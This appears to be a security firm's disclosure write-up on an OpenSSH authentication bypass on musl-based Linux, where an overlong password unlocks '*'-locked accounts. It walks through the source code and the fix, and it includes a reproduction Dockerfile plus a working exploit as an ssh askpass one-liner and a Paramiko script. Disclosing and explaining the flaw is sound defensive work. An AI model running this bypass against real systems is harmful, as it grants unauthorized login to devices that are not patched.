← All insights
Vulnerability Research

How a one-character password hash gives you root

On a default Alpine Linux installation, root has no password. Its /etc/shadow entry is root:*:..., where the asterisk denotes a locked account.

On musl-based Linux, OpenSSH authenticates any account with a * password hash when it receives an overlong password. Two attempts in one TCP connection, each over 256 bytes, and the comparison succeeds.

The issue spans four functions across musl, libc and OpenSSH.

The setup

The target runs a musl-based Linux distribution (Alpine, OpenWrt, Buildroot, Yocto). OpenSSH is compiled without PAM (Alpine’s default). Password authentication is enabled (OpenSSH’s default). At least one other account on the system has a real password hash in /etc/shadow. A default Alpine installation with one password-bearing user meets all conditions.

The following Dockerfile builds a reproduction environment. It pins the pre-fix OpenSSH packages, creates a locked target account (alpine, shadow entry *), and a second account (authsource) with a real $6$ password hash:

FROM alpine:3.24.1

ARG TARGETARCH
ARG ALPINE_MAIN_REPO=https://dl-cdn.alpinelinux.org/alpine/v3.24/main
ARG OPENSSH_PACKAGE_VERSION=10.3_p1-r1

RUN set -eux; \
    apk update; \
    case "$TARGETARCH" in \
        amd64) alpine_arch=x86_64 ;; \
        arm64) alpine_arch=aarch64 ;; \
        *) echo "Unsupported target architecture: $TARGETARCH" >&2; exit 1 ;; \
    esac; \
    for package in \
        openssh-server-pam \
        openssh-server-common \
        openssh-keygen; \
    do \
        apk_file="/tmp/${package}-${OPENSSH_PACKAGE_VERSION}.apk"; \
        wget \
            --output-document="$apk_file" \
            "${ALPINE_MAIN_REPO}/${alpine_arch}/${package}-${OPENSSH_PACKAGE_VERSION}.apk"; \
    done; \
    apk add \
        "/tmp/openssh-server-pam-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-server-common-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-keygen-${OPENSSH_PACKAGE_VERSION}.apk"; \
    rm \
        "/tmp/openssh-server-pam-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-server-common-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-keygen-${OPENSSH_PACKAGE_VERSION}.apk"; \
    ssh-keygen -A

RUN set -eux; \
    { \
        printf '%s\n' \
            'PasswordAuthentication yes' \
            'UsePAM no'; \
        cat /etc/ssh/sshd_config; \
    } > /tmp/sshd_config; \
    mv /tmp/sshd_config /etc/ssh/sshd_config

RUN set -eux; \
    adduser -D alpine; \
    sed -i 's/^alpine:[^:]*:/alpine:*:/' /etc/shadow; \
    adduser -D authsource; \
    printf '%s\n' 'authsource:lab-only-password' | chpasswd

EXPOSE 22
CMD ["/usr/sbin/sshd.pam", "-D", "-e"]

Build and run with docker build -t sshhole . && docker run -d -p 2222:22 sshhole. The service listens on port 2222.

OpenSSH’s sys_auth_passwd in auth-passwd.c pulls the target account’s stored hash from shadow, selects a salt, runs the submitted password through crypt(), and compares the result to the stored hash. The salt selection contains the relevant logic:

sys_auth_passwd salt selection logic in auth-passwd.c, with the condition and return value highlighted Figure 1 — sys_auth_passwd salt selection logic in auth-passwd.c

if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;
encrypted_password = xcrypt(password, salt);

When the stored hash is * (one character), pw_password[0] is '*' (truthy) but pw_password[1] is \0 (falsy). The condition fails, salt remains NULL. OpenSSH passes NULL salt intentionally for locked accounts to run a timing-safe fake computation, preventing account enumeration through response timing.

xcrypt() in openbsd-compat/xcrypt.c handles the NULL salt by calling pick_salt(). This function scans all system accounts for a real password hash and borrows its salt prefix, so the fake crypt() call uses the same hash algorithm and takes comparable time.

pick_salt scanning system accounts for a hash prefix and caching it in a static buffer Figure 2 — pick_salt() scanning accounts for a $6$ hash prefix

static const char *
pick_salt(void)
{
    struct passwd *pw;
    char *passwd, *p;
    size_t typelen;
    static char salt[32];

    if (salt[0] != '\0')
        return salt;
    strlcpy(salt, "xx", sizeof(salt));
    setpwent();
    while ((pw = getpwent()) != NULL) {
        if ((passwd = shadow_pw(pw)) == NULL)
            continue;
        if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
            typelen = p - passwd + 1;
            /*
             * bcrypt ($2*$NN$) has no '$' between its 22 character
             * salt and the hash, so keep the salt too or crypt(3)
             * will reject the setting without doing any work.
             */
            if (passwd[1] == '2' && strlen(p + 1) >= 22)
                typelen += 1 + 22;
            strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
            explicit_bzero(passwd, strlen(passwd));
            goto out;
        }
    }
 out:
    endpwent();
    return salt;
}

The static qualifier on salt[32] means this buffer persists for the lifetime of the sshd-session process handling a given TCP connection. The guard at the top of the function (if (salt[0] != '\0') return salt;) ensures the full account scan runs exactly once per process. Every subsequent call returns the previously cached salt prefix without re-reading /etc/shadow. This caching is central to exploitation: the first authentication attempt populates the buffer, and the second reuses it.

If an account has a real password (authsource in the reproduction container), its shadow entry starts with $6$ (SHA-512). pick_salt copies that prefix into a static buffer that persists across calls within the same process.

xcrypt calls pick_salt when salt is NULL, then passes the result to crypt():

xcrypt calling pick_salt when salt is NULL and passing the borrowed salt to crypt Figure 3 — xcrypt() passing borrowed salt to crypt()

char *
xcrypt(const char *password, const char *salt)
{
    char *crypted;

    /*
     * If we don't have a salt we are encrypting a fake password for
     * for timing purposes.  Pick an appropriate salt.
     */
    if (salt == NULL)
        salt = pick_salt();

    crypted = crypt(password, salt);
    return crypted;
}

The password is hashed with authsource’s $6$ salt. On glibc, crypt() returns a SHA-512 hash string that does not match the stored "*", and authentication fails. On musl, crypt() can return "*" under specific conditions.

musl’s crypt_r examines the salt prefix to select a hash algorithm. A $6$ prefix routes to __crypt_sha512; anything else falls through to __crypt_des. This matters because the DES path returns "x" on failure, not "*". If the stored "*" were passed directly as the salt, crypt_r would take the DES path and return "x", which would not match "*". Authentication would fail. The exploit depends on another account having a real $6$ password hash. pick_salt borrows that account’s salt prefix, routing the overlong password through the SHA-512 path where the KEY_MAX check produces the "*" return.

musl crypt_r dispatching on the salt prefix to the SHA-512 or DES path Figure 4 — musl crypt_r salt dispatch

char *__crypt_r(const char *key, const char *salt, struct crypt_data *data)
{
    char *output = (char *)data;
    if (salt[0] == '$' && salt[1] && salt[2]) {
        if (salt[1] == '6' && salt[2] == '$')
            return __crypt_sha512(key, salt, output);
    }
    return __crypt_des(key, salt, output);
}

With a $6$ salt, the password reaches musl’s __crypt_sha512 wrapper. glibc returns NULL from crypt() on failure. musl returns the string "*" instead:

musl __crypt_sha512 wrapper returning the string asterisk when the self-test or hash fails Figure 5 — musl __crypt_sha512 wrapper returning "*" on failure

char *__crypt_sha512(const char *key, const char *setting, char *output)
{
    p = sha512crypt(key, setting, output);
    q = sha512crypt(testkey, testsetting, testbuf);
    if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
        return "*";
    return p;
}

This was a NULL-safety change: callers that did not check for NULL would segfault. Returning "*" prevents the crash because no valid hash equals "*", so authentication comparisons fail.

musl’s SHA-512 crypt also enforces a 256-byte password cap (KEY_MAX) as a denial-of-service guard. Passwords exceeding this length cause sha512crypt to return 0, which the wrapper converts to "*":

musl sha512crypt rejecting keys longer than KEY_MAX by returning zero Figure 6 — musl sha512crypt KEY_MAX length check

#define KEY_MAX 256

static char *sha512crypt(const char *key, const char *setting, char *output)
{
    for (i = 0; i <= KEY_MAX && key[i]; i++);
    if (i > KEY_MAX)
        return 0;
    klen = i;
    ...
}

On musl, crypt(password_over_256_bytes, "$6$...") returns "*". A locked account also stores "*". The hash output matches the stored value.

On the first password attempt, salt[0] is the null byte. pick_salt runs its full account scan, finds authsource’s $6$ hash, and copies the salt prefix into the static buffer. The overlong password is hashed with that $6$ salt, musl returns "*", and sys_auth_passwd compares "*" against the stored "*". The strings match, but the first attempt fails due to additional validation in the authentication flow above sys_auth_passwd.

On the second attempt in the same connection, pick_salt returns the cached $6$ prefix immediately (if (salt[0] != '\0') return salt;). The same chain executes and the authentication comparison succeeds. Both attempts must occur in one TCP connection because the static buffer is per-process. Each new connection spawns a new sshd-session process with a zeroed buffer.

Exploitation

Against the reproduction container on port 2222:

printf '#!/bin/sh\nprintf "A%.0s" $(seq 300)\n' > /tmp/askpass.sh
chmod +x /tmp/askpass.sh

SSH_ASKPASS="/tmp/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p 2222 \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o PubkeyAuthentication=no -o PreferredAuthentications=password \
    -o NumberOfPasswordPrompts=2 alpine@127.0.0.1 id < /dev/null

The first attempt returns “Permission denied, please try again.” The second returns “uid=1000(alpine) gid=1000(alpine).” The askpass script sends 300 bytes as the password. NumberOfPasswordPrompts=2 sends both attempts in one connection. Valid password length is 257 to 1024 bytes; the upper bound is MAX_PASSWORD_LEN in auth_password.

Paramiko equivalent:

import paramiko

t = paramiko.Transport(('127.0.0.1', 2222))
t.connect()

long_pass = 'A' * 300

try:
    t.auth_password('alpine', long_pass)
except paramiko.AuthenticationException:
    pass    # first attempt primes the salt cache

try:
    t.auth_password('alpine', long_pass)
except paramiko.AuthenticationException:
    print('Not vulnerable')

if t.is_authenticated():
    s = t.open_session()
    s.exec_command('id')
    print(s.recv(4096).decode())

t.close()

The fix

The fix commit addresses the vulnerability at two levels. In auth-passwd.c, sys_auth_passwd now defines a minimum hash length (MIN_PASSWORD_HASH_LEN, set to 4) and rejects any stored password hash shorter than that threshold before comparing it to the output of xcrypt. A stored hash of * (one byte) can no longer pass this check, regardless of what crypt() returns. The same commit also converts shadow_pw() to return heap-allocated copies of shadow passwords, and pick_salt() now initializes its passwd pointer and uses freezero() to zero and release each copy after use.

The length check is the operative defense. It ensures that locked accounts (*, !!, or similar short markers in /etc/shadow) are excluded from the comparison path entirely, making the musl crypt() return value irrelevant for those accounts. The memory-safety improvements in pick_salt() and shadow_pw() eliminate a class of information exposure through uncleared password material, but do not affect whether authentication succeeds or fails.

The underlying behavior in musl remains unchanged. crypt() still returns * instead of NULL when sha512crypt fails, and KEY_MAX still truncates passwords at 256 bytes. Any application that compares crypt() output against a stored hash without a length check remains exposed to the same collision on musl-based systems.

References

More in Vulnerability Research
Ouroboros: Emergent Behavior Through Trust CompositionAug 26, 2026 · 16 minThe Wrapper Trap: Silent Persistence in Gradle and MavenAug 6, 2026 · 11 minThe Persistence Bridge: When npm Writes pnpm's FutureJul 31, 2026 · 10 min